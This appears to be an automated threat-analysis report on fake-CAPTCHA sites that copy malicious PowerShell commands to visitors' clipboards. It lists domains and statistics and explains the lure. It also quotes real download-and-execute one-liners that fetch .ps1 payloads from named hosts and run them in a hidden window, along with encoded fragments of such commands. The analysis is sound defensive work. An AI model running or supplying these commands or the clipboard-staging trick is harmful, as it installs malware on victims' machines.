ClickGrab Threat Analysis Report - 2025-05-29

Most Common External Domains

• www.google.com: 28 occurrences
• use.fontawesome.com: 16 occurrences
• staplebrokenmetaliyro.blogspot.com: 15 occurrences
• www.blogger.com: 13 occurrences
• cdnjs.cloudflare.com: 12 occurrences
• www.webgo.de: 10 occurrences
• t.me: 7 occurrences
• www.w3.org: 6 occurrences
• svetvip.ru: 4 occurrences
• api.whatsapp.com: 3 occurrences

Common Pattern Analysis

reCAPTCHA imagery (16 occurrences, 1 distinct URLs)

• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (16 times)

Font resources (28 occurrences, 2 distinct URLs)

• https://use.fontawesome.com/releases/v5.0.0/css/all.css (16 times)
• https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (12 times)

CDN hosted scripts (13 occurrences, 2 distinct URLs)

• https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (12 times)
• https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources (30 occurrences, 9 distinct URLs)

• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (16 times)
• https://www.google.com/intl/en/policies/privacy/ (4 times)
• https://www.google.com/intl/en/policies/terms/ (4 times)
• https://www.google.com (1 times)
• http://www.google.com/2005/gml/b (1 times)
• ...and 4 more distinct URLs

JavaScript Clipboard Analysis

Found clipboard manipulation code snippets in 32 places

document.execCommand copy

Found in 32 snippets (100.0% of clipboard code)

Examples:

document.execCommand("copy")

textarea manipulation

Found in 32 snippets (100.0% of clipboard code)

Fake CAPTCHA HTML Examples

Here's how the fake CAPTCHA verification appears in HTML:

Example 1:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Example 2:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Command Context Analysis

Found 19 PowerShell download context snippets

stageClipboard Function

Found 12 references to stageClipboard function

Example stageClipboard contexts:

Example 1:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 2:

...dC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 3:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Malicious Commands

Found 4 commandToRun declarations

Malicious commands being prepared for clipboard:

Example 1:

Command:

powershell 

Context:

WindowStyle Hidden -Command \"iex (irm 'https://aatox.com/verify/45.ps1')\""; const commandToRun = "powershell " + htaP...

Example 2:

Command:

powershell 

Context:

 = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaPat...

Example 3:

Command:

powershell 

Context:

...idden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaPat...

Example 4:

Command:

powershell 

Context:

 = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " +...

PowerShell Parameters

Found 2 htaPath declarations

Malicious PowerShell parameters:

Example 1:

Parameters:

-w hidden -c \

Context:

...d; const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaP

Example 2:

Parameters:

-w hidden -c \

Context:

...const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " +...

Clipboard Attack Pattern Analysis

Based on the data analyzed, here's the complete clipboard attack pattern:

1. Initial Victim Engagement

Victim is shown a fake CAPTCHA verification UI with Google reCAPTCHA branding

Common elements found: - Google reCAPTCHA logo image - Font resources from CDNs - "I am not a robot" checkbox

Example Fake CAPTCHA HTML:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>...

2. Malicious Code Preparation

When user clicks the verification checkbox:

• A 'commandToRun' variable is set with a malicious PowerShell command
• The command is typically obfuscated and often downloads second-stage payloads
• Common download destinations include:

Example Command Preparation Code:

WindowStyle Hidden -Command \"iex (irm 'https://aatox.com/verify/45.ps1')\""; const commandToRun = "powershell " + htaP...

3. Clipboard Hijacking

The malicious command is copied to the user's clipboard:

• A temporary textarea element is created
• The command is combined with verification text like "[CHECKMARK] I am not a robot"
• document.execCommand("copy") is used to copy to clipboard
• The temporary element is removed from the DOM

4. Social Engineering Component

User sees a success message:

• The verification UI shows success with a checkmark symbol
• User is told they've passed verification
• The clipboard now contains the malicious command + verification text

5. Attack Objective

Final stage of the attack:

• When user pastes the clipboard contents elsewhere (like in terminal)
• They see what looks like verification text
• But the PowerShell command at the start gets executed
• This downloads and runs additional malware from attacker-controlled servers

Reconstructed Attack Example

What's copied to clipboard:

powershell  # [CHECKMARK] 'I am not a robot - reCAPTCHA Verification Hash: XY12Z345'

What user sees when pasting: A verification success message

What actually happens: PowerShell executes the hidden malicious command

Conclusion

This is a sophisticated social engineering attack that tricks users into:

1. Thinking they're completing a legitimate CAPTCHA
2. Unknowingly copying malicious code to their clipboard
3. Executing malware when they paste what they think is just verification text

Statistics

• Total sites analyzed: 29
• Sites with malicious content: 16
• Total unique domains: 28
• Total URLs extracted: 136